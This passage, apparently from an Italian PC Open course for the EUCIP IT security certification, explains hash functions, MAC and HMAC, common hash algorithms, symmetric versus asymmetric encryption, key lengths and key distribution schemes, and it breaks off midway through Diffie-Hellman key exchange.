ritmo produca h come risultato (lalgoritmo cio a
senso unico)
- per qualunque dato di input x, non praticamente
possibile trovare un dato y diverso da x per cui lal-
goritmo produca lo stesso codice di hash (resistenza
debole alle collisioni)
- praticamente impossibile trovare una coppia di da-
ti (x, y) tale per cui lalgoritmo produca lo stesso co-
dice di hash quando applicato a x e a y (resistenza
forte alle collisioni)
- come corollario, la modifica di qualsiasi bit del dato
di input produce una modifica del codice di hash; an-
che la trasposizione di due bit, che non modifiche-
rebbe una checksum (somma di controllo) per il con-
trollo di parit, modifica il valore dellhash.
Lespressione non praticamente possibile signi-
fica che non computazionalmente fattibile con le tec-
nologie correnti e con quelle prevedibili nei prossimi
anni.
Un esempio di applicazione consiste nel calcolare
lhash di un messaggio e inviarlo, cifrato insieme al
messaggio, in modo che il destinatario, ricalcolando
lhash dei dati con lo stesso algoritmo di hashing, pos-
sa verificare lintegrit dei dati ricevuti. Inoltre, se lha-
sh stato cifrato con la chiave privata del mittente, la
verifica (decifratura dellhash tramite chiave pubblica
del mittente e confronto con lhash ricalcolato sul mes-
saggio ricevuto) serve anche per stabilire lautenticit
del mittente.
Un altro esempio di utilizzo offerto dai Message
Authentication Code (MAC), calcolati come hash del
messaggio con aggiunta di una chiave segreta condivi-
sa (simmetrica).
Il messaggio viene spedito con il MAC aggiunto in
coda. Il destinatario separa il MAC dai dati, aggiunge la
chiave segreta e ricalcola il MAC. Se i due MAC coinci-
dono, il destinatario sa che i dati sono integri. Luso del
MAC permette la verifica dellintegrit solo a chi in
possesso della chiave segreta. Inoltre, se qualcuno mo-
dificasse il messaggio, non potrebbe ricalcolarne il
MAC senza avere la chiave segreta, quindi la modifica
verrebbe scoperta.
Questa tecnica viene chiamata keyed hashing (ha-
shing con chiave).
Il MAC assicura che il messaggio non stato altera-
to e che proviene dal mittente dichiarato (nessun altro
possiede la chiave segreta) si tratta quindi di unau-
tenticazione indiretta e non forte (visto che la chiave
nel possesso di due persone e perci non possibile
stabilire con assoluta certezza quale delle due abbia
generato il messaggio e il relativo hash). Inoltre, se il
messaggio include un numero di sequenza, il destina-
tario ha anche la certezza che la sequenza non sia sta-
ta alterata.
Un MAC pu essere usato per lautenticazione del
messaggio (come nellesempio) o per lautenticazione
e la riservatezza (tramite cifratura). Questultima pu
essere realizzata calcolando il MAC sul messaggio in
chiaro pi la chiave e poi cifrando il messaggio pi il
MAC generato prima usando la medesima chiave, op-
pure, viceversa, cifrando prima il messaggio e succes-
sivamente calcolando il MAC su messaggio gi cifrato
www.pcopen.it 28
Un esempio duso delle
funzioni di hash nel
calcolo di un Message
Authentication Code, che
consente al destinatario
di verificare la sola
integrit dei dati ricevuti.
I dati vengono trasmessi
in chiaro in abbinamento
a un MAC (MD5, SHA-1 o
successivi) che stato
calcolato unendo il
messaggio e la chiave
segreta
possibile utilizzare il
MAC in abbinamento alla
cifratura per garantire sia
la riservatezza sia
lintegrit del messaggio.
Lapproccio duplice
1) si cifra il messaggio
con la chiave segreta e
quindi si aggiunge lhash
o digest calcolato con la
stessa chiave, oppure si
calcola lhash sul
messaggio in chiaro e poi
si cifra messaggio pi
hash con la chiave
segreta
pi la chiave.
Il keyed hashing pu essere usato anche per fornire
lautenticazione a un messaggio di tipo stream (flusso
continuo), dividendo lo stream in blocchi e calcolando
il MAC di ogni blocco. I MAC diventano parte dello
stream e servono per verificare lintegrit dei dati ri-
cevuti. Luso degli hash molto pi rapido rispetto al-
la generazione delle firme digitali, un altro campo di
applicazione delle funzioni di hash.
Un tipo speciale di MAC chiamato HMAC ed spe-
cificato nella RFC 2104. HMAC anchessa una funzio-
ne keyed hash, ma in realt costituisce un keyed hash
allinterno di un keyed hash.
Pu utilizzare qualsiasi algoritmo di hash, come SHA
e MD5, prendendo il nome di HMAC-SHA o HMAC-MD5.
HMAC, dal punto di vista crittografico, pi robusto
della sola funzione di hash di base, come stato di-
mostrato da un attacco riuscito contro MD5 (una col-
lisione creata trovando due input che producono lo
stesso hash), mentre HMAC-MD5 non stato vulnera-
bile a tale attacco.
Indicando con H lalgoritmo di hash utilizzato, M il
messaggio e K la chiave, la funzione HMAC definita
come:
HMAC (K, M) = H (K XOR opad, H (K XOR ipad, M))
dove ipad un array di 64 elementi di valore 0x36
(36 in esadecimale) e opad un array di 64 elementi di
valore 0x5C.
Tutta lautenticazione dei messaggi in IPSEC (una fa-
miglia di protocolli utilizzata per trasmissioni sicure su
Internet) avviene tramite HMAC.
Principali algoritmi di hash
Fra i numerosi algoritmi di hash riportati in lettera-
tura, tre sono quelli pi utilizzati per le loro caratteri-
stiche di efficienza e sicurezza: MD5, SHA-1 e RIPEMD-
160.
MD5, evoluzione di MD4, stato sviluppato da Ron
Rivest allMIT nel 1991 ed descritto nella RFC 1321
(www.ietf.org/rfc).
MD5 molto popolare, ma la crescita della potenza
di calcolo e i primi successi degli attacchi sia basati su
forza bruta sia di tipo crittoanalitico (basati sullanali-
si dellalgoritmo) inducono a considerare MD5 vulne-
rabile e hanno suggerito lo sviluppo di nuovi algoritmi
con un output pi lungo dei 128 bit di MD5 e con ca-
ratteristiche specifiche per resistere agli attacchi crit-
toanalitici.
SHA-1 stato sviluppato dal NIST ed stato pubbli-
cato come standard federale USA nel 1993 con il nome
di Secure Hash Algorithm (SHA, FIPS 180) e riveduto
nel 1995 come SHA-1 (FIPS180-1). SHA-1 specificato
anche nella RFC 3174 che, rispetto al FIPS 180-1, inclu-
de anche unimplementazione in C.
SHA-1 riceve in input un messaggio di lunghezza
massima inferiore a 264 bit (una dimensione equiva-
lente a 2.147 Gbyte e perci praticamente illimitata),
suddiviso in blocchi di 512 bit, e produce un hash di
160 bit. Sia SHA-1 sia MD5 derivano da MD4, ma SHA-1
notevolmente pi robusto grazie ai 32 bit aggiuntivi
dellhash, che rendono molto pi arduo un attacco di
tipo forza bruta. Sul fronte degli attacchi crittoanaliti-
ci, MD5 ha iniziato a mostrarsi vulnerabile fin dai pri-
mi anni di vita, mentre SHA-1 non risulta vulnerabile al-
lo stesso tipo di attacchi.
Nel frattempo sono state specificate le evoluzioni di
SHA-1 a 224 bit (RFC 3874) e a 256, 384 e 512 bit di ha-
sh, talvolta chiamate ufficiosamente SHA-2 e annun-
ciate dal FIPS 180-2. I rispettivi standard si chiamano
SHA-224, SHA-256, SHA-384 e SHA-512.
RIPEMD-160 stato sviluppato nellambito del pro-
getto European RACE Integrity Primitives Evaluation
(RIPE) da un gruppo di ricercatori che avevano conse-
guito parziali successi nellattaccare MD4 e MD5.
Inizialmente gli autori svilupparono una versione a
128 bit, ma visto che era possibile attaccare due fasi di
elaborazione, decisero di espanderla a 160 bit. Lalgo-
ritmo descritto nella norma ISO/IEC 10118-3:1998
Information technology - Security techniques - Hash
functions - Part 3: Dedicated hash-functions (ISO,
1998).
Anche RIPEMD-160 deriva da MD4 e ha molte analo-
gie con MD5 e SHA-1. Alla pari di SHA-1, molto resi-
stente ad attacchi di vario tipo; lulteriore complessit
rispetto a SHA-1 dovrebbe rendere RIPEMD-160 anco-
ra pi protetto da attacchi crittoanalitici, bench pi
lento in esecuzione.
Glossario di crittografia
Algoritmo (o cifrario):
un insieme di regole logiche e matematiche usate nel-
la cifratura e nella decifratura.
Chiave: la sequenza segreta di bit che governa latto
della cifratura o della decifratura.
Crittografia:
la scienza della scrittura nascosta (o segreta) che per-
mette di memorizzare e trasmettere dati in una forma
utilizzabile solo dagli individui a cui essi sono destina-
ti.
Crittosistema:
limplementazione hardware o software della critto-
grafia, che trasforma un messaggio in chiaro (plain-
text) in un messaggio cifrato (ciphertext) e poi di nuo-
vo nel messaggio in chiaro originario.
Crittoanalisi:
la pratica di ottenere il messaggio in chiaro dal mes-
saggio cifrato senza disporre della chiave o senza sco-
prire il sistema di cifratura.
Crittologia:
lo studio della crittografia e della crittoanalisi.
Testo cifrato (ciphertext):
dati in forma cifrata o illeggibile.
Cifrare o cifratura:
lazione di trasformare i dati in formato illeggibile.
Decifrare o decifratura:
lazione di trasformare i dati in formato leggibile.
Keyspace (spazio delle chiavi):
linsieme di tutti i possibili valori che una chiave pu
assumere.
Testo in chiaro (plaintext o cleartext):
dati in forma leggibile o intelligibile.
Work factor (fattore di lavoro):
il tempo, lo sforzo e le risorse che si stimano necessa-
ri per violare un crittosistema.
www.pcopen.it 29
5.2.4.2 Conoscere
i principali standard
delle funzioni di
hashing
www.pcopen.it 30
R
iassumiamo i principali caratteri distintivi dei due mo-
delli di crittografia. Nella prima parte della lezione 2
abbiamo visto in dettaglio le differenze tra crittogra-
fia simmetrica (a chiave segreta) e crittografia asimmetri-
ca (a chiave pubblica e privata). Rivediamoli brevemente.
Simmetrica: 1) migliori prestazioni, 2) adatta per cifrare
messaggi lunghi, 3) chiavi brevi, 4) pone il problema della
distribuzione delle chiavi, 5) facile uso con PRGN (Pseudo-
Random Number Generator) e funzioni di hash, 6) utilizza-
bili come componenti di uno schema ad alta sicurezza, 7)
lunga storia, 8) tecnologia collaudata
Asimmetrica: 1) chiavi molto lunghe, 2) cattive presta-
zioni, 3) adatta per cifrare dati brevi, 4) risolve il problema
della distribuzione delle chiavi, 5) la chiave pu essere au-
tenticata; 6) le chiavi pubbliche possono essere accessibi-
li pubblicamente, presso terze parti fidate, 7) vita pi lun-
ga delle chiavi, 8) utilizzabile per la firma digitale, 9) storia
breve (anni 70)
PRNG significa Pseudo-Random Number Generator (ge-
neratore di numeri pseudo-casuali), una funzione che tra i
vari impieghi include la generazione di chiavi simmetriche
di sessione.
Per la lunghezza delle chiavi, Schneier, in Applied Cryp-
tography (scritto nel 1995), raccomandava almeno 112 bit
per le chiavi simmetriche (come nel 3DES a due chiavi) e
prevedeva, per il periodo 2005-2010, la necessit di usare
chiavi asimmetriche lunghe 1.280, 1.536 o 2.048 bit rispet-
tivamente per utilizzo personale, aziendale o governativo.
Secondo le linee guida del NIST (Key Management Guideli-
ne, novembre 2001), una chiave 3DES di 112 bit ha la robu-
stezza di una chiave RSA di 2.048 bit, mentre una chiave
AES di 256 bit equivale a una chiave RSA di 15.360 bit.
Vantaggi della crittografia simmetrica
- utilizza algoritmi molto veloci, che possono cifrare/deci-
frare grandi quantit di dati per secondo, dellordine del-
le centinaia di MByte al secondo.
Applicazioni pratiche delle pi moderne tecniche di crittografia e
dei protocolli che regolano le transazioni on-line. La lezione, oltre
a essere un requisito per il conseguimento della certificazione
ufficiale EUCIP IT Administrator Sicurezza Informatica, valida
in tutta Europa, spiega come condurre operazioni sicure
mediante il PC garantendo riservatezza, integrit e autenticit
dei documenti e delle persone in gioco, oltre che il non ripudio
delle decisioni concordate. I contenuti si articolano in quattro
elementi: un articolo sintetico
sulla rivista che riepiloga solo
i concetti essenziali, larticolo
completo in formato PDF e un
corso multimediale completo
su CD e DVD di Giorgio Gobbi
Materiale didattico
validato da AICA
IT Administrator
Modulo 5 -
IT Security
"AICA Licenziataria
programma EUCIP
of Informatic
validato copre
puntualmente e
integralmente gli
e necessari per il
conseguimento della
certificazione IT
Administrator IT
Security. Di
conseguenza AICA
del marchio EUCIP,
vigenti"
programmi pi comuni destinati a tali scopi. Riferimento Syllabus
2.0 (curriculum
ufficiale AICA)
5.2.5. Confronto tra
i metodi di cifratura
5.2.5.1 Vantaggi e
svantaggi della
crittografia
simmetrica e
asimmetrica
applicazioni
In collaborazione
con:
Applicazioni della crittografia
Firma elettronica e
certificati digitali per
le operazioni elettroniche
www.pcopen.it 31
5.2.5.2 Saper
distinguere tra i
diversi livelli di
sicurezza e il relativo
peso
- pu cifrare e decifrare messaggi e documenti di lunghez-
za illimitata
- le chiavi utilizzate sono relativamente brevi; AES, per
esempio, utilizza chiavi di 128, 192 o 256 bit (la scelta del-
la lunghezza della chiave dipende dai requisiti di sicurez-
za presente e futura)
- gli algoritmi a chiave simmetrica possono essere integra-
ti nella realizzazione di schemi di cifratura pi complessi,
insieme a funzioni hash e a generatori PRNG
- pi algoritmi simmetrici, non abbastanza robusti se uti-
lizzati singolarmente, possono essere combinati per otte-
nere schemi di cifratura di notevole robustezza (come nel
caso di 3DES costruito utilizzando lormai superato DES)
- la crittografia simmetrica si sviluppata in un lungo arco
di tempo e utilizza meccanismi ben studiati e collaudati.
Vantaggi della crittografia asimmetrica
- un utente deve conservare solo una chiave privata, men-
tre la chiave pubblica resa disponibile a tutti (anche se
richiede lonere della certificazione per essere ritenuta au-
tentica)
- per la gestione delle chiavi sulla rete sufficiente la pre-
senza di una CA (Autorit di certificazione) affidabile, ma
non necessariamente sempre online
- la coppia chiave privata/chiave pubblica pu restare in-
variata per lunghi periodi di tempo (anche anni, se il tipo
dimpiego non critico)
- in una rete di grandi dimensioni, necessario un numero
di chiavi limitato (proporzionale al numero di utenti, an-
zich in relazione quadratica come nel caso di chiavi sim-
metriche)
Problemi della crittografia simmetrica
- la chiave usata per la cifratura e decifratura da una coppia
di interlocutori deve restare segreta ed essere cambiata di
frequente; la soluzione migliore la generazione di una
chiave casuale per ogni sessione di comunicazione abbi-
nata a uno dei meccanismi di scambio sicuro delle chiavi
- in una rete con N utenti, a meno che si usino chiavi di ses-
sione, il numero di chiavi simmetriche pari a N(N-1)/2; se
gestite da una terza parte fidata, ne farebbero il punto de-
bole del sistema
I due interlocutori devono avere un canale sicuro per
scambiarsi la chiave segreta; una soluzione efficace utiliz-
za i meccanismi di scambio delle chiavi che hanno dato vi-
ta alla crittografia asimmetrica (vedi lesempio alla sezione
5.2.3.1 - Principi di crittografia asimmetrica).
Problemi della crittografia asimmetrica
- richiede una modalit di autenticazione delle chiavi pub-
bliche
- gli algoritmi di cifratura sono lenti (tipicamente mille vol-
te pi lenti rispetto ai simmetrici)
- applicabile a dati di breve lunghezza (inferiore alla lun-
ghezza della chiave)
- le chiavi asimmetriche sono di lunghezza decisamente
maggiore rispetto alle chiavi simmetriche (non meno di
1.024 bit)
- nessun metodo utilizzato dagli algoritmi asimmetrici (co-
me la fattorizzazione del prodotto di numeri primi o il cal-
colo del logaritmo discreto) stato matematicamente di-
mostrato essere sicuro; la loro sicurezza si basa sulle-
strema difficolt, con i mezzi correnti, di risolvere deter-
minati problemi della teoria dei numeri
- nel 2003 lufficio federale tedesco per la sicurezza infor-
matica ha violato il metodo di fattorizzazione alla base di
RSA per numeri di 174 cifre decimali, corrispondenti a
RSA-576; la crescita della lunghezza delle chiavi potrebbe
dover essere pi rapida del previsto, dopo che il mate-
matico Bernstein, con il suo articolo Circuits for Integer
Factorization del 2001, ha scosso la fiducia nel sistema di
cifratura/decifratuira di RSA e ha teorizzato la vulnerabi-
lit delle chiavi di 1.536 bit (mentre la maggior parte dei si-
stemi, come HTTPS, SSH, IPSec, S/MIME e PGP utilizzano
RSA con chiavi di lunghezza limitata)
Livelli di sicurezza
Dato che non esiste un singolo algoritmo di crittografia
ideale per tutte le occasioni, si dovranno considerare di-
versi fattori nelloperare la scelta dellalgoritmo, o pi spes-
so della combinazione di algoritmi, da utilizzare per una
certa applicazione. Alcuni criteri di base sono i seguenti:
- stima del livello di affidabilit sulla base degli anni di uti-
lizzo, dellanalisi di robustezza, degli attacchi subiti, valu-
tando anche la presumibile durata futura
- dimensione della chiave in base alle esigenze di sicurezza
e alla progressiva estensione della chiave, negli anni, per
preservare la robustezza di un algoritmo
- efficienza di calcolo e consumo di risorse in relazione al-
le piattaforme hardware/software da utilizzare.
Come anche citato in precedenza, la dimensione della
chiave gioca un ruolo fondamentale, riassumibile in due
aspetti:
- nella crittografia simmetrica, DES (con chiave di 56 bit) e
a maggior ragione gli algoritmi a 40 bit sono da conside-
rare obsoleti perch non sicuri e violabili con comuni
computer; necessario utilizzare 3DES o algoritmi con
chiave di almeno 128 bit, come AES
- nella crittografia asimmetrica, chiavi inferiori a 1.024 bit
non offrono pi garanzie sufficienti; sono adeguate le chia-
vi di 1.024 bit per uso personale e durata annuale (comu-
ni nei certificati digitali usati per la posta elettronica) e le
chiavi di 2.048 bit per uso pi generale e durata plurien-
nale.
Sulle categorie di attacco, sui livelli di sicurezza neces-
sari per le categorie di utenza (privata, business, governa-
tiva, eccetera), sulla longevit e robustezza degli algoritmi
e sulla crescita delle chiavi col passare degli anni, si trova
abbondante documentazione, per esempio presso i siti di
NIST e di SANS Institute. Mostriamo due tabelle, una sulla
robustezza equivalente delle chiavi tra diversi algoritmi e
laltra su algoritmi raccomandati e lunghezza minima delle
chiavi, tratte dalla versione 2003 del citato Key Manage-
ment Guideline di NIST, Parte 1 (http://csrc.nist.gov/Cryp-
toToolkit/KeyMgmt.html)
Larticolo A Discussion of the Importance of Key Length
in Symmetric and Asymmetric Cryptography di SANS
(http://www.giac.org/practical/gsec/Lorraine_Williams_GS
EC.pdf) passa in rassegna diverse fonti dinformazione sul-
la lunghezza delle chiavi e include tra laltro due tabelle:
una stima del 1997 sulla lunghezza delle chiavi in funzione
dei tipi di attacco e una stima sulla lunghezza minima del-
le chiavi pubblicata da Schneier nel suo classico Applied
Una mappa della
robustezza delle chiavi
secondo i valori di
equivalenza calcolati
dal NIST
www.pcopen.it 32
Cryptography del 1996. Un decennio di sviluppi hardware
e software, di evoluzioni concettuali e di attacchi andati a
buon fine oltre le previsioni, suggeriscono stime legger-
mente meno ottimistiche e il frequente aggiornamento del
rapporto tra livelli di sicurezza e algoritmi e lunghezza del-
le chiavi. La prima tabella si riferisce a chiavi asimmetriche,
la seconda a chiavi simmetriche; entrambe sono ottimisti-
che sulla distanza.
Distribuzione delle chiavi
Nei capitoli precedenti abbiamo citato i problemi con-
nessi con la trasmissione e lo scambio di chiavi, derivanti
dalla necessit di mantenere segrete le chiavi simmetriche
e di assicurare lintegrit e lautenticit dei dati trasmessi.
Vediamo in sintesi gli argomenti principali.
Distribuzione delle chiavi simmetriche
Per utilizzare la crittografia simmetrica, i due interlocu-
tori devono disporre della stessa chiave, che deve restare
segreta per chiunque altro. Inoltre, per limitare i danni po-
tenziali di una chiave compromessa, la chiave segreta do-
vrebbe essere sostituita di frequente. Ne consegue che, per
quanto sia robusto il cifrario utilizzato, la sicurezza di un si-
stema crittografico simmetrico dipende dalla tecnica di di-
stribuzione delle chiavi, ossia dai modi di consegnare una
chiave a due interlocutori A e B senza che altri la possano
vedere.
Vediamo alcuni approcci:
1) A sceglie una chiave e la consegna fisicamente a B
2) Una terza parte fidata sceglie una chiave e la consegna
fisicamente ad A e B
3) Se A e B hanno gi usato una chiave di recente, uno di lo-
ro trasmette allaltro la nuova chiave cifrata con quella
vecchia
4) Se A e B hanno una connessione cifrata con una terza
parte C, questa pu consegnare una chiave ad A e B at-
traverso i collegamenti cifrati
Le soluzioni 1 e 2 sono praticabili solo nel caso di due in-
terlocutori che utilizzano un dispositivo di cifratura per ci-
frare il collegamento (tutto ci che passa sulla linea), ma
non sono applicabili a trasmissioni da un punto allaltro di
un sistema distribuito. In una rete, la scala del problema di-
pende dal numero di punti terminali in comunicazione. Se
la cifratura applicata allo strato 3 di rete, vale a dire al pro-
tocollo IP (considerando il modello OSI oppure il modello
TCP/IP) e ci sono N host (computer collegati alla rete), il
numero di chiavi necessarie N(N-1)/2. Se la cifratura vie-
ne eseguita a livello applicativo, serve una chiave per ogni
coppia di utenti o processi in comunicazione, il che ci por-
ta a un ordine di grandezza superiore al numero di host.
Una rete con 1.000 nodi e cifratura a livello di nodo avreb-
be bisogno di distribuire mezzo milioni di chiavi, ma se la
stessa rete avesse 10.000 applicazioni in funzione, ciascu-
na con la propria cifratura delle comunicazioni, le chiavi da
distribuire sarebbero dellordine dei 50 milioni.
La soluzione 3 praticabile sia a livello di collegamento
(link) sia tra i punti di una rete, ma se un nemico si procu-
ra una chiave, avr scoperto tutte le chiavi successive. Per
la cifratura tra punti di una rete, la soluzione 4 la pi uti-
lizzata. Si basa su un Key Distribution Center (KDC, centro
di distribuzione delle chiavi) che, quando necessario, di-
stribuisce una chiave a una coppia di utenti (host, proces-
si o applicazioni). Ogni utente condivide con il KDC una
chiave segreta usata per la distribuzione delle chiavi.
Quando A vuole stabilire una connessione logica con B,
invia al KDC la richiesta di una chiave simmetrica tempo-
ranea (chiave di sessione) da usare nella comunicazione
con B e, per identificare la richiesta in modo univoco (a
scopo di sicurezza), include nonce, ovvero un numero ca-
suale, progressivo o segnatempo, sempre diverso per ogni
richiesta. Il KDC risponde inviando ad A un messaggio ci-
frato con la chiave condivisa tra A e il KDC. Questo mes-
saggio contiene:
1) la chiave di sessione da usare tra A e B
2) il messaggio originale con il nonce per abbinare la ri-
sposta alla richiesta
3) una parte destinata a B e cifrata con la chiave che B con-
divide col KDC, contenente la chiave di sessione e un
identificatore di A (per esempio il suo indirizzo di rete).
Tali contenuti proteggono la riservatezza, lintegrit e
lautenticazione dei dati. A memorizza la chiave di ses-
sione e inoltra a B la chiave di sessione e il proprio iden-
tificatore cifrati con la chiave di B, che solo il KDC po-
trebbe aver confezionato. B usa la chiave di sessione per
inviare ad A un nonce di propria scelta. A, sempre usan-
do la chiave di sessione, risponde a B con qualche tipo
di trasformazione concordata del nonce, che mostra a B
che il messaggio autentico e non una ripetizione usata
per trarlo in inganno.
Questa la traccia di base, soggetta a varianti ed evolu-
zioni (per esempio la gerarchia di KDC e la distribuzione
decentralizzata delle chiavi) per adattarsi alle diverse ap-
plicazioni.
Distribuzione delle chiavi asimmetriche
Consideriamo, per prima cosa, la distribuzione delle
chiavi pubbliche, visto che la chiave privata deve essere
custodita al sicuro sul computer della persona a cui ap-
partiene. La maggior parte delle tecniche di distribuzione
rientra in questi quattro schemi:
1) Annuncio pubblico
2) Directory di pubblico accesso
3) Autorit per le chiavi pubbliche
4) Certificati di chiave pubblica.
Nel caso 1, i partecipanti possono inviare ad altri la chia-
ve, farne il broadcast (totale diffusione) in una comunit,
pubblicare la chiave su una mailing list, su un newsgroup
o su un sito. Il punto debole fondamentale di tale approc-
5.2.5.3 Conoscere i
problemi di
distribuzione delle
chiavi nella
crittografia
simmetrica e
asimmetrica
Algoritmi raccomandati
in funzione della
lunghezza minima delle
chiavi.
Una stima, ottimistica,
della robustezza dei vari
tipi di chiave in funzione
dellattacco subito
pubblicata da SANS
(SysAdmin, Audit,
Network, Security
Institute ) nel 1997
Una stima sulla
lunghezza minima delle
chiavi pubblicata da
Schneier nel 1996
cio che chiunque pu fingere di essere lutente A e invia-
re o pubblicare una chiave pubblica. Prima che A se ne ac-
corga e avvisi gli interessati, limpostore avr letto i mes-
saggi cifrati destinati ad A e avr usato le chiavi fasulle per
lautenticazione.
Il caso 2 consiste nellaffidare la manutenzione e distri-
buzione delle chiavi pubbliche a una terza parte fidata.
Questa entit mantiene una directory con una voce (nome
e chiave pubblica) per ogni partecipante. Ogni parteci-
pante registra la sua chiave pubblica di persona o attra-
verso una comunicazione autenticata; quando lo desidera,
pu sostituire la chiave (per esempio dopo un certo perio-
do duso o perch la chiave privata stata compromessa).
La directory pu essere aggiornata e pubblicata periodi-
camente anche su media off-line. I partecipanti possono ac-
cedere alla directory solo attraverso comunicazioni au-
tenticate dal gestore. Lo schema 2 pi sicuro del caso 1,
ma se un nemico riesce a procurarsi la chiave privata del
gestore della directory, pu iniziare a far circolare false
chiavi pubbliche, a impersonare qualunque partecipante
(impostura) e a intercettare i messaggi diretti ai parteci-
panti. Lo stesso scopo pu essere raggiunto attraverso
unintrusione che riesca ad accedere alle registrazioni te-
nute dal gestore.
Il caso 3 realizzato partendo dal caso 2 ed esercitando
un controllo pi stretto sulla distribuzione delle chiavi pub-
bliche. Ora ogni partecipante conosce la chiave pubblica
dellautorit, la quale lunica a conoscere la propria chia-
ve privata. Vediamo i passi da eseguire quando A vuole co-
municare con B. A invia allautorit la richiesta della chia-
ve pubblica di B e un timestamp con la registrazione tem-
porale (data, ore, minuti, eccetera). Lautorit risponde con
un messaggio cifrato mediante la propria chiave privata,
che contiene la chiave pubblica di B e una copia della ri-
chiesta e del timestamp (A ora dispone della certezza che
il messaggio viene dallautorit, che non stato alterato e
che risponde alla richiesta corrente). A memorizza la chia-
ve pubblica di B e la usa per cifrare un messaggio indiriz-
zato a B contenente un identificatore di A e un nonce N1
usato per identificare la transazione in modo univoco. B
contatta lautorit per ricevere la chiave di A (invia la ri-
chiesta e il timestamp). Lautorit risponde a B inviando, ci-
frati con la propria chiave privata, la chiave di A, la richie-
sta e il timestamp. Ora B risponde ad A cifrando, con la
chiave pubblica di A, il nonce N1 ricevuto da A e un nuovo
nonce N2 generato da B. Per finire, A invia a B un messag-
gio di conferma, cifrato con la chiave di B, contenete il non-
ce N2. I quattro messaggi con cui A e B si procurano le chia-
vi pubbliche del loro interlocutore avvengono raramente,
mentre la comunicazione tra A e B avviene per un certo pe-
riodo di tempo utilizzando le chiavi ricevute, in base alle
stime e ai requisiti di sicurezza.
Un punto debole di questo schema la centralizzazione
dellautorit, a cui gli utenti devono rivolgersi ogni volta
che vogliono usare la chiave pubblica di un altro utente,
creando un conseguente collo di bottiglia. Inoltre, come nel
caso 2, la directory dei nomi e delle chiavi pubbliche sog-
getta a intrusioni e manomissioni.
Il caso 4 prevede luso dei public-key certificate, ossia
certificati di chiave pubblica (chiamati anche certificati a
chiave pubblica). I certificati servono agli utenti per scam-
biare le chiavi pubbliche senza dover contattare unauto-
rit, ma con lo stesso grado di sicurezza che si avrebbe se
le chiavi fossero fornite direttamente dallautorit che am-
ministra la directory. Ogni certificato contiene la chiave
pubblica e varie informazioni; creato da una Certification
Authority ed consegnato allutente. Un utente A trasmet-
te la propria chiave pubblica a un utente B inviandogli il
certificato; B verifica che il certificato sia stato creato dal-
lautorit dei certificati.
Lo schema 4 funziona in questo modo: un utente A ri-
chiede alla CA (di persona o via comunicazione autentica-
ta) un certificato, fornendo la propria chiave pubblica; la
CA risponde ad A con un messaggio cifrato con la propria
chiave privata e contenente il tempo, lidentificatore di A e
la sua chiave pubblica; A trasmette il certificato (cifrato) a
B; B decifra il certificato ricevuto usando la chiave pubbli-
ca della CA, accertando cos che il certificato di A provie-
ne dalla CA e verificando lintegrit e la validit dei conte-
nuti (tempo, identit di A e chiave di A). B pu ripetere le
stesse operazioni e inviare ad A il proprio certificato, ci-
frato dalla CA in modo da garantirne la sicurezza. In questo
schema, il tempo contenuto nel certificato determina il li-
mite di validit; se la chiave privata di un utente viene com-
promessa e il titolare, dopo la notifica alla CA, non riesce ad
avvisare tutti gli interessati, il certificato cessa di valere tra-
scorso un certo tempo dal timestamp.
In questo schema, descritto da Stallings in Crypto-
graphy and Network Security, vediamo un antesignano dei
moderni certificati digitali, che hanno struttura e utilizzo di-
versi rispetto al modello riportato sopra. Oggi il tipo pi co-
mune di certificato digitale conforme allo standard ITU
X.509, versione 3, del 1997, che comprende una serie di
informazioni, la chiave pubblica e una firma digitale appli-
cata dalla CA, con la propria chiave privata, a un hash (o di-
gest) calcolato sui campi precedenti (le informazioni e la
chiave pubblica). In questo modo la CA certifica tutte le
informazioni del certificato e la loro associazione alla chia-
ve pubblica. La gestione delle chiavi e dei certificati X.509
fa parte della PKI (Public Key Infrastructure - infrastruttu-
ra a chiave pubblica, basata su una gerarchia di Certifica-
tion Authority). Uno standard per i certificati, pi semplice
dellX.509, quello dei certificati PGP (Pretty Good Privacy)
citati in precedenza, che non sono firmati da una CA, ma
possono essere firmati da parecchi individui quale atte-
stazione di fiducia.
Distribuzione di chiavi simmetriche tramite chiavi
asimmetriche
Nella sezione 5.2.3.1 (Principi di crittografia asimmetri-
ca) abbiamo mostrato un esempio di distribuzione di una
chiave segreta (simmetrica) tramite crittografia asimme-
trica RSA. Lesempio ci ricorda che la crittografia asimme-
trica lenta e si applica a dati di piccole dimensioni, men-
tre quella simmetrica anche mille volte pi veloce e ac-
cetta dati di qualsiasi lunghezza. La distribuzione delle
chiavi simmetriche non si limita quindi alluso di un centro
di distribuzione, ma pu utilizzare i meccanismi della crit-
tografia asimmetrica, a partire dal primo che stato pub-
blicizzato: lo scambio di chiavi secondo Diffie-Hellmann.
Whitfield Diffie e Martin Hellmann pubblicarono il primo
articolo sui crittosistemi a chiave pubblica (New Direc-
tions in Cryptography) nel 1976, descrivendo un metodo
per stabilire un dato segreto condiviso sulla base dello
scambio dinformazioni non segrete su un canale non si-
curo. Lo scambio di chiavi Diffie-Hellmann non studiato
solo per ragioni storiche; tuttora alla base, per esempio,
del protocollo IKE (Internet Key Exchange) di scambio del-
le chiavi utilizzato da IPSec, la forma pi avanzata di sicu-
rezza a livello IP (IPSec lo standard pi sicuro per le reti
private virtuali o VPN).
Mostriamo brevemente come funziona lo scambio Diffie-
Hellmann. Supponiamo che Alessandro e Bruno siano i par-
tecipanti allo scambio e che, per prima cosa, concordino
sulla scelta di un numero primo p e di un generatore g. Lo
scambio avviene in due parti. Nella prima parte, sia Ales-
sandro sia Bruno scelgono un numero privato casuale, a
per Alessandro e b per Bruno, e lo usano come esponente
nelle espressioni seguenti per produrre un valore pubblico
(A per Alessandro e B per Bruno). Ricordiamo che mod p
(modulo p) indica il resto della divisione per p.
Alessandro Bruno
A=g
a
mod p B=g
b
mod p
www.pcopen.it 33
NOTA: Certificate
Authority o
Certification
Authority?
Nella letteratura, una
CA viene spesso
definita una
Certificate Authority
anzich una
Certification
Authority. Come
fanno rilevare Adams
e Lloyd nel loro
eccellente
Understanding PKI,
ci scorretto
tecnicamente e
logicamente, perch
non esiste una
Certificate Authority
nellX.509 e perch
la CA non ha autorit
sui certificati. Nella
PKI, lautorit sui
certificati una
policy authority (ossia
policy management
authority), mentre
una CA solo lo
strumento che
emette i certificati in
conformit alla
Certificate Policy
(politica dei
certificati) dettata
dalla policy authority.
Anche lautorevole
Digital Signatures
di RSA Press utilizza
la forma Certification
Authority.
www.pcopen.it 34
Ora Alessandro e Bruno si scambiano i valori pubblici:
Alessandro invia A a Bruno e Bruno invia B ad Alessandro.
Alessandro e Bruno elevano a potenza i valori pubblici ri-
